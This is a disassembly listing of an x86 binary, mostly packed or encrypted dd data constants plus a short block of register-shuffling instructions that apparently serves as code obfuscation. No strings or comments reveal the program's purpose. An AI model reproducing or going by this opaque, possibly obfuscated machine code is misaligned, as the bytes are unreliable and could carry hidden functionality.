		dd 4A22DF66h, 8B66B520h, 0B4858DD0h, 6A060CE9h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 74E8C355h, 0BF443131h, 0BD03370Ch, 60603B5h,	2AB96650h
		dd 240489C9h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0EFC35343h, 0C0CC179Bh,	0AE908h, 3D150000h, 9A45BE3Ch
		dd 0B2CD93AAh, 6A006Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 5AA548C3h, 69AF1872h, 8B599777h
		dd 62FF58Dh, 0C4BB6606h, 0F006A46h, 95FFCEBFh, 6062F9Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B2C35545h
		dd 54DC9593h, 51EE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 306B5F43h, 18DAE269h
		dd 840FB687h, 1, 0E8F8h, 815D0000h, 0CE9B9EDh, 0EFFAB906h
		dd 0BF666EC2h, 6F684A68h, 50E2F73Ah, 66310F52h,	585ADE8Bh
		dd 31240481h, 6A1D08D5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E0D0C353h,	383C77D8h
		dd 0FC21CD5h, 8D8BD0BFh, 606248Dh, 1AC995FFh, 30B30606h
		dd 2E199503h, 0B58D0606h, 60CE847h, 81FB8B66h, 848996EAh
		dd 5206C739h, 6A6D6765h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0D2B4C356h,	0ABF305Dh
		dd 0C7021DEAh, 6E6F0446h, 6A6C63h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0EE8929C3h, 247F1B1Dh
		dd 846C769h, 737361h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 15h, 0D7C35343h, 7D9D8964h, 6A060615h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 3472FE9Ah, 8B6C26F8h, 858D039Bh, 60CE847h, 50D08B66h
		dd 0A3AFBA60h, 0BB662FB6h, 896178C4h, 95FF2404h, 6063155h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 78C35747h
		dd 5E6934E9h, 0C1BACC5h, 0FC00BD3h, 3884h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0DD4875ABh, 58D8960h, 0FC06061Fh, 1D3FBF61h,	0BE90567h
		dd 8B000003h, 6107195h,	0BD4C6806h, 0BB66807Dh,	481F426h
		dd 8243E024h, 0D08B667Fh, 1AC995FFh, 6A0606h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 6027CC3h
		dd 0BB66C4DAh, 0B58DE092h, 60CE847h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0ADC35343h,	44B17EA9h, 0C7F9FE3Fh
		dd 34383106h, 50006A36h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 8D899949h, 6061E05h, 370446C7h, 6631342Dh
		dd 0F686EB81h, 846C7h, 8B000000h, 625859Dh, 8B006A06h
		dd 62BF99Dh, 47858D06h,	89060CE8h, 6020D95h, 0C5BF5006h
		dd 895D4499h, 8A0F2404h, 3, 0FFC9BF0Fh,	6315595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 11291986h, 0D3994E9Fh, 8166AA42h, 0BC1F4F3h,	0B840FC0h
		dd 29000000h, 61215B5h,	1F4E906h, 9E680000h, 0BB88A6BEh
		dd 5485E1CBh, 8E240481h, 66775942h, 95FFD38Bh, 6061AC9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A1C35747h
		dd 821C9553h, 8D624834h, 0CE847B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0F439AC03h
		dd 694606C7h, 6A656Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0FB5EE7C3h, 0C4EF6E09h, 66B28A1Fh
		dd 0BCB3DB81h, 3B39F3BBh, 446C76Fh, 636E6F6Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 43C35646h, 31F9891Ah
		dd 0EE825E1Ch, 46C7D6B6h, 73616C08h, 52006A73h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0BFDB2F31h
		dd 0C46C79Dh, 0
		dd 6A61B5h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Bh,	84C35545h, 69006D4Ch, 0E8365992h, 13h, 5FF8B33Bh
		dd 813DD8F6h, 0FF06E11Fh, 0D31B8F6h, 0FC5002AEh, 47858D5Fh
		dd 6A060CE8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 454DC353h, 2993C617h, 3458501h
		dd 60500606h, 0EE9h, 0B300D700h, 6762ED2Fh, 2F99F22Ch
		dd 0FD505F3h, 385h, 0F88B6600h,	24048961h, 747D6DBBh, 5595FF6Fh
		dd 6A060631h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 48ACC356h, 812D50EAh, 214D15EFh
		dd 0FC00B4Fh, 2E84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 2583BB8Fh, 8B38AAF1h
		dd 61C059Dh, 0CE906h, 0E9F50000h, 0FFFFFB65h, 2F599D89h
		dd 0B58D0606h, 6067178h, 0B8D38Bh, 0F000000h, 198Dh, 14E900h
		dd 2BF80000h, 0C0B794E2h, 44B7788Dh, 347FAB75h,	0A9B64757h
		dd 0E6FFD2D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	4C35545h, 0D8FD4CF4h, 8BE1F16Ah, 0CE8C1h, 84C90000h
		dd 51ACDBAEh, 0A0298CDh, 8F0F27E8h, 0
aNs_0		db '[)™',0
		db 2 dup(6), 81h
		dd 6101C3h, 5AC08000h, 0BAh, 64E08100h,	0FF63BB38h, 12E91A34h
		dd 19000000h, 64601586h, 53FFC980h, 3A64E25Bh, 8EAD088h
		dd 7E85ED1h, 0ED000000h, 0BE252EE7h, 8D8B368Ch,	6060FCDh
		dd 36F6815Fh, 0E91CCC80h, 9, 0B0D5F41Bh, 6696CEC5h, 22C681C9h
		dd 0B851EA39h, 3E16CACFh, 0A4FBEE81h, 0E9565D48h, 0Ah
		dd 65FE9726h, 799EDCD7h, 48FF27Fh, 31BD8B13h, 0E8060603h
		dd 0Ah,	9C092921h, 6AF1E5E1h, 958906C0h, 6061A21h, 11EA8159h
		dd 8166B709h, 0B7090DC2h, 81C18B66h, 0FF9FF8FAh, 1F850FFFh
		dd 89000000h, 62FB5B5h,	29E906h, 0ED060000h, 5EEA56D3h
		dd 0F46B0380h, 18E456E5h, 1DB53F61h, 0BD895F10h, 6060BB1h
		dd 0FFFF3AE9h, 0D0210AFFh, 1974F04Dh, 0E9EBC69Fh, 2Ah
		dd 2404C7h, 0E8000000h,	0
		dd 0BBED815Dh, 8B060CEFh, 89042444h, 62DCD85h, 0B806h
		dd 8D8D0000h, 6064ED2h,	54B8E1FFh, 0E9000067h, 3Bh, 0D1BD8B60h
		dd 83060627h, 0C93304EFh, 20BBC18Bh, 83EDB883h,	8BE04C7h
		dd 0D1000000h, 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh
		dd 0F98107h, 0F000001h,	0FFFFD382h, 8BC361FFh, 2F04EBC8h
		dd 0E91F4507h, 4D9h, 298B1A6Fh,	0CF317C0Bh, 73D5D4B1h
		dd 16782F55h, 0B7198AF8h, 651D33BCh, 0CABEDC3Eh, 265D7BDDh
		dd 87FF1D7Fh, 0E465BA1Ch, 0D16C0EAFh, 4C8DE33h,	2EBFEC9Ah
		dd 87ADFA8Eh, 0BEE59DBBh, 5B483E5Ch, 0FCA7DFFDh, 9C07809Eh
		dd 5551FF3Eh, 6FD1DAACh, 11733251h, 841590F3h, 0BBF94AEDh
		dd 0DC0261DBh, 1996F210h, 446290BBh, 7DDFC6BDh,	1E7C275Fh
		dd 0C4CE556Bh, 9115B32Dh, 0EDC7747Ch, 366B7CA8h, 2DC4DA87h
		dd 5EE60C6Dh, 4Bh, 0BFEC9A9Ah, 7C11AE61h, 55F32DC4h, 4CA83F51h
		dd 7841F1Bh, 0DE3658Bh,	5AA8EDECh, 1, 0BEED9A96h, 6362962Dh
		dd 5579EE5h, 92F513DFh,	0ED97B513h, 6B1958B6h, 0E2C1C63Bh
		dd 83BA51h, 50D2A90Ch, 4A3C5A2Ah, 9AABFF61h, 3F5DBBE8h
		dd 0E1FF5D48h, 209DD2A1h, 0D42DC47Ch, 96B41273h, 1F8CFAEEh
		dd 0A30162C1h, 7C446280h, 0BE436311h, 5F7DDFC4h, 1E7C27h
		dd 7D285F85h, 15FC01Fh,	0A705A0E3h, 22F7FC89h, 0BA142BA3h
		dd 3D7CDA3Bh, 0F1A9178Fh, 0C43CD1D5h, 0A3A8EE79h, 77h
		dd 0BBE89ADFh, 0B79192Ah, 2ADF3E9Ch, 2DC47B93h,	6D2F859h
		dd 36D69DE8h, 1AA3584Fh, 0DA2DC47Ch, 0F25C71C3h, 0B6C1EB9h
		dd 5F0D4CAAh, 0DBA94947h, 6A18A6CCh, 0A848D739h, 0A69C7DCh
		dd 772C56E4h, 1A89FB19h, 0A99E989h, 466218E4h, 5953AD60h
		dd 6514A8EEh, 50000000h, 5DBBE89Ah, 2AAB443Fh, 0FD129B43h
		dd 0FC5D4A3Ah, 196A0A9Bh, 7598648Ah, 0D0B24F57h, 291D71D3h
		dd 2E933192h, 6086225Fh, 65F6B5D2h, 11435ECEh, 0E309941Ah
		dd 0D65C6417h, 0CAA2DC4h, 2F56F69Ah, 0D5AA1348h, 0E94A2DC4h
		dd 10E06288h, 0E0A8EDCFh, 3B614240h, 0BB3h, 6EA3B400h
		dd 2DC4E24Fh, 5A1E44A5h, 5EBCEB9Ah, 0FF5D4640h,	100A6D4h
		dd 69C32584h, 6A7B0C14h, 7B992459h, 0FA5B2DC4h,	7AB3B1D4h
		dd 28892BC2h, 6C518697h, 0BD33CA7Dh, 2180DEC5h,	713D63C4h
		dd 219CD1E2h, 0D333CA7Dh, 79365272h, 0B2C1C553h, 0CA7D407Dh
		dd 0F253B433h, 97147290h, 861D6606h, 0D7A3C928h, 0CA7C9B24h
		dd 33739133h, 5AEBB8CEh, 81DFCCBAh, 29860222h, 71153303h
		dd 760AA132h, 2800F9FDh, 0B3D19DC3h, 0C2BA22D3h, 5E7D27B5h
		dd 6819FFDh, 5C2B49A7h,	1644F351h, 17C53090h, 0D814728Fh
		dd 3897F5AEh, 8D6375D7h, 0DAAEF3B6h, 136h, 1015E16h, 62913B70h
		dd 22832BC2h, 0C3E0A6C4h, 68434361h, 0ADDB7B0Ah, 1B41A0FEh
		dd 4CAAF98Dh, 0F04E552Eh, 94F2B1D2h, 2FFA755h, 5DC82986h
		dd 8899F7AFh, 53089BE8h, 33CA966Ah, 7503298Ah, 0F6B5D311h
		dd 76D83998h, 0F38F8C64h, 6ADBAEh, 5E170000h, 1F9ED307h
		dd 0D52DC47Ch, 4D821374h, 2DC47CA0h, 621573D4h,	2DC47C5Bh
		dd 8FEDBACEh, 3A981771h, 13ADF917h, 1E723462h, 356A097Eh
		dd 2DC47C88h, 8AAA0B6Ch, 0BD87ADFAh, 0C0D162A6h, 0BAAEB529h
		dd 6C921D53h, 0C51DA449h, 2E63742Dh, 2DC51D8Fh,	13DE0465h
		dd 9F698CFCh, 6FD09641h, 806D0Dh, 0BE5E0000h, 0F3B7DDCAh
		dd 7001015Eh, 0C268D93Bh, 0D8ABCB2Bh, 0F00E6CCDh, 8DAB0D96h
		dd 994CAAF9h, 33CA97F9h, 0F39D0927h, 9810ADE2h,	83E433CAh
		dd 0ECB7CF5Dh, 2D5BFB8Ah, 9BC1207Eh, 0D1B5BCD1h, 0B41574D2h
		dd 0A7F1EE23h, 0DE3F31CEh, 0B6073C4Dh, 362DCF67h, 54E3AFD5h
		dd 67AF0E43h, 0E4452DCFh, 4D5630BEh, 1096C4EFh,	0CFA4E080h
		dd 0CF68239Ah, 768C92Dh, 0BAFA17E1h, 77EBF429h,	0E8492BD3h
		dd 15E3286h, 2B6FBA4Bh,	20401119h, 4BDC3D66h, 0C89EC916h
		dd 68C6272Bh, 0D6F3C4Ah, 7B0C97EFh, 4A3BA9DBh, 7E9CFA5Bh
		dd 0E342A007h, 0C5236B82h, 99206014h, 1BF4A773h, 353A99FEh
		dd 0D1711F87h, 3998F6B5h, 0EC018513h, 84DAF369h, 3EA001FEh
		dd 0DF3D6620h, 7FB4C3C1h, 4D0A3D3Eh, 8EEC4DAEh,	90713563h
		dd 2D4BADF6h, 5DEC4A59h, 80DEC5BDh, 3EBFB21h, 17000000h
		dd 0EF9A065Ah, 424462C0h, 96ED0B69h, 0F593B10Fh, 483A58B6h
		dd 0A3DFFD5Bh, 84A200h,	5E2745A3h, 0BCCBE947h
		db 0F1h, 93h, 1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6EB2h
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	711Ah
		mov	[esp], esi
		mov	esi, 60CF02Bh
		mov	ecx, esi
		pop	esi
		push	16Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dw 9D4Bh
		dd 0F48EB827h, 0C503060Ch, 2349E0FFh, 13671483h, 131D36EDh
		dd 6A1A2242h, 246306CEh, 6CEE3043h, 0D497669Fh,	68F670EBh
		dd 0BBE049C3h, 17CE34D0h, 28CB3537h, 0D06A14E3h, 15226248h
		dd 0B8E74DA5h, 139D4D93h, 9B6B2C21h, 0E47E2D32h, 0F00345AEh
		dd 0EB8973B4h, 430456Bh, 8D8D2F76h, 60CF614h, 89D98B66h
		dd 628DD8Dh, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 8028B76Ch, 92C2DDEDh, 870F6064h
		dd 3, 0BFD2B70Fh, 11D11EBCh, 1185C761h,	0D0060611h, 0C7000063h
		dd 62E4985h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B6E4DAEh, 607C19Dh, 0F0BF0F06h
		dd 0DF9B5FFh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0D77416C3h, 95FF6055h, 6060791h
		dd 1635BD31h, 6A0606h, 1AC995FFh, 0C08B0606h, 0D62FEBh
		dd 0E6EEB078h, 0E0171F47h, 0DAD586D9h, 13DEF1F1h, 0CBD88493h
		dd 0C9D9AD8Ch, 70903F96h, 0C6D9A02Fh, 58729AFDh, 0C1C1F46h
		dd 0C4705FE2h, 0ACE9FEh, 3C4D0000h, 9AED0B6Dh, 0FA8BA90Bh
		dd 592B49ABh, 0B8CAE84Ah, 0E18E89EBh, 0AE1093EFh, 49ABF890h
		dd 0EB4D582Bh, 88EAB9CDh, 407DB233h, 0B433D172h, 0EA9ADA9Eh
		dd 34952CBDh, 4668395Bh, 7DA9759Bh, 483FA5DFh, 0E79AFC5Dh
		dd 0D23BBBABh, 85D59849h, 0F15442Dh, 58A72D44h,	572D852Eh
		dd 10h,	0BB023748h, 6E2D82CDh, 0D2339017h, 65AE8ACh, 62C0EF9Ah
		dd 0B694244h, 0B10F96EDh, 58B6F593h, 0FD5B483Ah, 0A200A3DFh
		dd 45A30084h, 0E9475E27h, 93F1BCCBh, 0F64D681Bh, 92E9060Ch
		dd 0A9FFF986h, 5AAA0B8Ch, 0A7A8D2A1h, 0B91D149Ah, 0E0B82D54h
		dd 3060CF6h, 3F04EBC5h,	0E9259FBBh, 0CE0h, 0CF8E968h, 8667E906h
		dd 1B68FFF9h, 0E9060CFAh, 0FFF9865Dh, 0CFB0468h, 8653E906h
		dd 8468FFF9h, 0E9060CFBh, 0FFF98649h, 0CFE8168h, 863FE906h
		dd 0B568FFF9h, 0E9060D01h, 0FFF98635h, 0D029C68h, 862BE906h
		dd 4049FFF9h, 96F10F71h, 0EE97B517h, 4D3755B7h,	0ACD6F456h
		dd 0ED9A95F7h, 0BA1C87FBh, 5DBFEC9Ch, 0FF61443Fh, 0A406A5E1h
		dd 2499CE4Fh, 0C833D173h, 1829EEB2h, 0C47BDAE3h, 93B91A2Dh
		dd 0C8267D05h, 0F814D9AAh, 4BB46B0Bh, 0C969FA5Bh, 0B4CFEFBEh
		dd 0A1FBCBF1h, 7EB3444Ch, 2BC28F52h, 4E015FC0h,	33CA8F73h
		dd 0F49C0A26h, 8F0FAEE3h, 84E533CAh, 8C14DC5Eh,	2953AEF3h
		dd 8F000000h, 7001015Eh, 0C250713Bh, 0A402632Bh, 0CAAFD0F1h
		dd 0F9ADC933h, 16460097h, 4144C2D9h, 9E57991Bh,	710AEF3h
		dd 4C000000h, 88718h, 0EC9A4400h, 434361BFh, 57AC0668h
		dd 0E789BE4Fh, 0ED2BC24Bh, 0F064FB8Ch, 8B186A58h, 86555F74h
		dd 0E0E19460h, 0B933CAA1h, 4974A9BAh, 0AB33CAA2h, 9E08244Ah
		dd 0F39F816Fh, 20E6AEh,	5E220000h, 3B700101h, 2BC28011h
		dd 9144A203h, 33CA8030h, 0B4594D69h, 0AEF3793Ch, 0D52Bh
		dd 0EC9A6700h, 3BD261BFh, 0D099A408h, 9F2D5391h, 45BD0AE3h
		dd 20CEF5B2h, 434361BFh, 0B0D0DFA9h, 0DC6DCED5h, 0FE5C473Ch
		dd 8FAD799Fh, 0BB4AACF7h, 800C6924h, 0C52A724Bh, 0A21822Dh
		dd 3652FDD4h, 0CFF21879h, 2DC541D2h, 9AFCA7DFh,	43A10A7Ch
		dd 0FB8C94E9h, 0C31E2AC6h, 65C7282Bh, 1DAEF60Bh, 0D3B438E8h
		dd 48D93A31h, 0CCF12637h, 662DD2D3h, 2430F5BFh,	8FF04D06h
		dd 3DA7DB69h, 9DFF6047h, 0C9EA037Fh, 18A9A6ABh,	4CDE1374h
		dd 1383FEAEh, 0A7117B7h, 0D8B10000h, 2E5977D9h,	86FF1D7Fh
		dd 0E59FBD1Fh, 443E5CBEh, 7502FD5Fh, 22841F63h,	0C5278404h
		dd 67C9DCA7h, 0C6E3D49h, 0BC0136B7h, 3033D173h,	0E89A561Ah
		dd 4B3B59BBh, 0CF6FFE60h, 3291EFB6h, 15E480Ch, 2A5F7001h
		dd 2DC47B93h, 7BCDF025h, 0BE1F2DC4h, 229BD061h,	0D22DC47Ch
		dd 0EBEA1071h, 614E3ADAh, 7F34183Bh, 55B62BC2h,	807D44F7h
		dd 1C33CAh, 798967A6h, 0FDDEAEF3h, 1A000000h, 0ADFC8929h
		dd 0EE8DF987h, 0C47C04B9h, 2687E82Dh, 0CBD8AAC8h, 7FE7BA6Dh
		dd 7C0A2DC4h, 0D7AFCD2Fh, 3FDF6ECCh, 0E9FE5C47h, 0D4849CEBh
		dd 8CAC0D82h, 0BB85ABF8h, 2DCD5EA6h, 0AAF98D5Bh, 13242349h
		dd 3B991473h, 5D93B6DCh, 972BC355h, 0A545D436h,	2A7909DFh
		dd 0F50C6DCCh, 9810D11Fh, 99638987h, 9AAB3C44h,	0BE1C8BFAh
		dd 0E313AA5Fh, 6F1633CAh, 547ADB38h, 3BD12055h,	0BECF31D3h
		dd 0D3443489h, 3757B82Dh, 632E544Fh, 0C9607102h, 929A6215h
		dd 0DF6D93B4h, 0F9E00A3h, 0BDDB146Fh, 601F2EE9h, 2887E546h
		dd 950E7402h, 0FF0DD060h, 7F1F7B83h, 93Fh, 399B0A7Fh, 0DF416C1Bh
		dd 83E5C4C1h, 26881F65h, 0C7297A08h, 552D23CCh,	0BACEEC4Eh
		dd 166D8BEDh, 770F2D8Fh, 0F475CA2Ch, 0D175FEBFh, 14D8EE33h
		dd 87FCE89Ah, 0FE5FBE1Ch, 31B7CD6Dh, 95F35453h,	22401036h
		dd 91E54764h, 0EDFB8929h, 4FAE0C9Bh, 4C3AC8EEh,	0A3E3015Fh
		dd 0AE9AA608h, 7C0D156Ah, 0C27B3947h, 26DA3B2Bh, 0A5008727h
		dd 4D165C7Fh, 7188A07h,	27713470h, 0F8AD6D76h, 0DD87CCC5h
		dd 0D6A0C627h, 0B3E879B9h, 0DB85B1C1h, 0FAF493B3h, 5EBD1B88h
		dd 0DF409FFDh, 0CED5AE4Eh, 3C4DDCA8h, 89C5B607h, 3D1F36D7h
		dd 0D0F12EDEh, 0CB95BB1Ch, 3DDD6EB6h, 3C3B6148h, 92AF0E07h
		dd 582ACAD5h, 0F95A254Bh, 0E7BCC868h, 5042A89h,	20822165h
		dd 724B8091h, 82DD9153h, 196DFB21h, 74CF558Ah, 3490D440h
		dd 85694h, 0B4F39600h, 58533452h, 0F6ADD8F6h, 990E7694h
		dd 3A691937h, 3E10DDD8h, 0DFFD5F44h, 7A98FAA9h,	1A389A09h
		dd 88DD3F6Ch, 76EBD207h, 0EB0133D1h, 0E3182927h, 2DC47BDAh
		dd 15723157h, 86008EB4h, 865BF1Dh, 0D6427708h, 0CC2BC252h
		dd 493ADA6Bh, 0A9DAF85Ah, 0FD5E4D3Bh, 0A5D1EC9Fh, 0F6CB33CAh
		dd 0FF33CA95h, 0DC11A2E2h, 31C89184h, 71364E6Eh, 0F294B210h
		dd 361084B9h, 6FCB840Dh, 7D6CFh, 34731600h, 0D8D3B4D2h
		dd 762D5876h, 198EF614h, 0BAE999B7h, 0BE905D58h, 5F7DDFC4h
		dd 0FA187A29h, 9AB81A89h, 85DBFECh, 776B5287h, 6B8133D1h
		dd 0E31829A7h, 2DC47BDAh, 0D544031Ah, 2F0AF4E5h, 81DEA8CEh
		dd 3550F081h, 8BB1106Eh, 4D09578Ch, 8AEB2BC3h, 0AB069D2Ch
		dd 65A2BCF4h, 5037C5EBh, 0B2D5F355h, 213B95F3h,	9F3F50E1h
		dd 23A3BAE9h, 0F3D244CCh, 13C2E50Bh, 933CB30h, 0F11F4AA8h
		dd 703B4CB5h, 30665B0Eh, 0BA5A33CBh, 697EDCCBh,	6DB2613Dh
		dd 113798EFh, 5CED2D47h, 0CB2AC227h, 6FD13233h,	19773651h
		dd 0CB2B3366h, 83235133h, 389A097Eh, 0E03E6D1Ah, 0D4D3B151h
		dd 0CEF11776h, 33CB2B23h, 0AE535381h, 54899AD9h, 33CB2B69h
		dd 48752A8Bh, 0AC33CB2Bh, 2E88EA4Bh, 0E43D4D6h,	33CB2AB2h
		dd 8F1C6C0Ch, 0E1ACD231h, 8AE8C7C1h, 0B96CCA2Bh, 5FABCF6Fh
		dd 35D8CEEAh, 1B5544BBh, 17FACh, 3D16AD00h, 0C60132CCh
		dd 32931275h, 8929480Ch, 0E419AAF9h, 2DC47BD9h,	0CA94BA1Bh
		dd 0A7DC6DB5h, 2BC26099h, 0C969FA5Bh, 6E8CEEBDh, 7A2D8B18h
		dd 0B088ECA5h, 54ADF9A7h, 0F9177932h, 7D285F8Dh, 864BE1Ch
		dd 0FA8AA80Ah, 55314FADh, 6A08F8A0h, 8C788F1Ch,	72D43565h
		dd 1B793254h, 8F050768h, 0C7D869E0h, 8EFF2B92h,	3A60C121h
		dd 7108881Eh, 0C9FE6B87h, 218EA7F4h, 548097F8h
		dd 0C9577D8Ch, 6E8CEEBDh, 0C9C45B18h, 0F7C05A08h, 342D9045h
		dd 5EBF218Fh, 2F459FFDh, 343786BBh, 5CBD218Fh, 88356AFBh
		dd 6C218F34h, 0F78BA90Bh, 3476477Ch, 1576218Fh,	0F7AE60FEh
		dd 1D7EDC47h, 119AEC8Ch, 0AFC51FEBh, 24A5DA6Bh,	0D0218F1Ch
		dd 0DE7E0D6Fh, 0ADDAFAA9h, 1B41A0FEh, 0DA7AF98Dh, 7449FEADh
		dd 78218F1Ch, 178EF717h, 9BF95AB9h, 8169750Ch, 5811CDDEh
		dd 0C5DEA432h, 8B2B3C67h, 0F04FADF8h, 9F8AECAh,	0AECC2E7Dh
		dd 136DCBD8h, 0F328B9F9h, 218F51D2h, 0D05FC122h, 52338ABFh
		dd 8EF6218Fh, 0FF5CBB19h, 9CEA789Eh, 0F093B10Fh, 7AA857B5h
		dd 0F2B1D52Ch, 97147290h, 7E0AAA39h, 2B410B31h,	344556E7h
		dd 8F51BEFFh, 3CCD2E21h, 8F51B607h, 0AFD53621h,	8F52258Ch
		dd 8CFB9B21h, 3E64C321h, 92B01273h, 0FA54B2F1h,	0DA0FA0E2h
		dd 218F51D3h, 0C756B819h, 0EA485B27h, 8DEBB8CCh, 0E3A7CD2Eh
		dd 2EBFEC9Ah, 2E203D97h, 0ED13BBEAh, 66AEC31Dh,	5E10A0D5h
		dd 0F78E2BC3h, 33C8B847h, 814C7275h, 94EF8F20h,	4CECEB11h
		dd 44DB6C37h, 1F5AA4C9h, 0E4BFC741h, 6F8D5D83h,	0D9339114h
		dd 0B6EB7C84h, 31C86062h, 0DE91EF50h, 2DC48FE3h, 5E453DDDh
		dd 0B17BA100h, 0B2C3545Ch, 0A3A7B21Bh, 5E84789Dh, 0C290253Bh
		dd 50AE0F2Bh, 0EB985432h, 0B82257B8h, 1F7E0738h, 4D923C3h
		dd 70190000h, 0C6C1DF41h, 1E6785E7h, 7D072587h,	0DCA6C426h
		dd 9D6A65C7h, 8AECB7CBh, 2D8F1C6Ch, 0CF31740Fh,	74D6D5B1h
		dd 54699E1Fh, 9833D17Ah, 8929BE82h, 7A99B0FFh, 0DF46F318h
		dd 708D577Dh, 598E9F30h, 2DC51B64h, 1A9E1F54h, 0ED4E2DC5h
		dd 0A092F90h, 0C305FFD5h, 6621C12Bh, 47A5FE88h,	0CA2987E8h
		dd 1A78D9A4h, 0CAFE5967h, 82244033h, 7B66FD0Eh,	0A57EECE7h
		dd 0F0CBF2A7h, 0C02133CAh, 0EDD8189Ah, 0D98FAEF3h, 90000000h
		dd 0E60C97F0h, 7BCC0522h, 49442DC4h, 770FDDA9h,	4F6FCE2Ch
		dd 0B3127033h, 6321C152h, 0BF4E1E44h, 5E7D0D28h, 196A9CFCh
		dd 6CCD2C8Ah, 21617C46h, 1B6A5B90h, 99A2DC5h, 0C51AE9D4h
		dd 49AA0B2Dh, 0EAB9CDEBh, 2D59F988h, 7DDEC5BFh,	32768D57h
		dd 268501A1h, 0F9CC0100h, 0D72DC51Ah, 1B2C91C6h, 5FC02DC5h
		dd 0AF0D6E39h, 0DD078020h, 419F00A7h, 0E5436223h, 71FF2586h
		dd 65059615h, 8C5C8221h, 46D7DB32h, 0C51AD011h,	3750F02Dh
		dd 2AA5A5B6h, 1E7FCBA6h, 703B61C0h, 0A6DE7E0Fh,	85A301h
		dd 8BEC4BA9h, 0DBE69965h, 492DC4E6h, 233A8B1Bh,	0D9AE4EDFh
		dd 0F60D6CCAh, 0C606B801h, 0FAF91FEAh, 0C54F1CC5h, 4044E42Dh
		dd 80A60563h, 0B8EF95B5h, 9D55F557h, 81000000h,	7001015Eh
		dd 0A4194E5Fh, 482DC47Bh, 9C2156E7h, 502DC47Bh,	0BAA6C9EFh
		dd 382BC257h, 2D5B79D7h, 0A9C21C7Eh, 0B6C7D869h, 0CAA83C81h
		dd 0F590B033h, 90F150AEh, 0A882476Ah, 117233CAh, 0B09200B3h
		dd 112DD841h, 4C787895h, 4DEFA2E7h, 0F0000000h,	476D3650h
		dd 5055E83h, 7C7E3F74h,	0D6E2DC4h, 0B8F791AFh, 81B6C756h
		dd 2DC47C3Ch, 5F294FB0h, 40750606h, 2DC47CB1h, 5C18D86Fh
		dd 3828C1D3h, 5F274712h, 0D285E344h, 2DC44CEFh,	269F0735h
		dd 73CCDCDh, 2DC4CCEAh,	0D32789EAh, 6C09EC9Ah, 0F3FF0137h
		dd 6391570h, 53B45169h,	0F4CA61F2h, 1EAF7B2Fh, 66845076h
		dd 0E1F28320h, 0C55A11ACh, 3F64202Dh, 0C42582E1h, 1F74CE9Eh
		dd 1F518617h, 552BC32Ah, 0DEE396F4h, 5333CB69h,	0F816742Fh
		dd 4CB51390h, 0B8089Eh,	87266101h, 0AC614561h, 0AEF46744h
		dd 6723h, 3842400h, 5EBE82A8h, 5331D101h, 7C1E9F54h, 6DCE2DC4h
		dd 6467B0Ch, 0D82BC280h, 0FB594A38h, 0A001A8DDh, 0F88FAF7Ah
		dd 5BE2D2F7h, 0C12215FBh, 0A5C2FB30h, 0D13233CAh, 625F1270h
		dd 3733CAA6h, 0F4058B1Bh, 58FE875Dh, 3DF2C3B3h,	33CB7880h
		dd 6BED1374h, 0AEF47185h, 0BBE2h, 9DD2E300h, 33CB8420h
		dd 894D73D4h, 8500EC9Ah, 1B2CBD1Eh, 0C47BD7E6h,	96BC1D2Dh
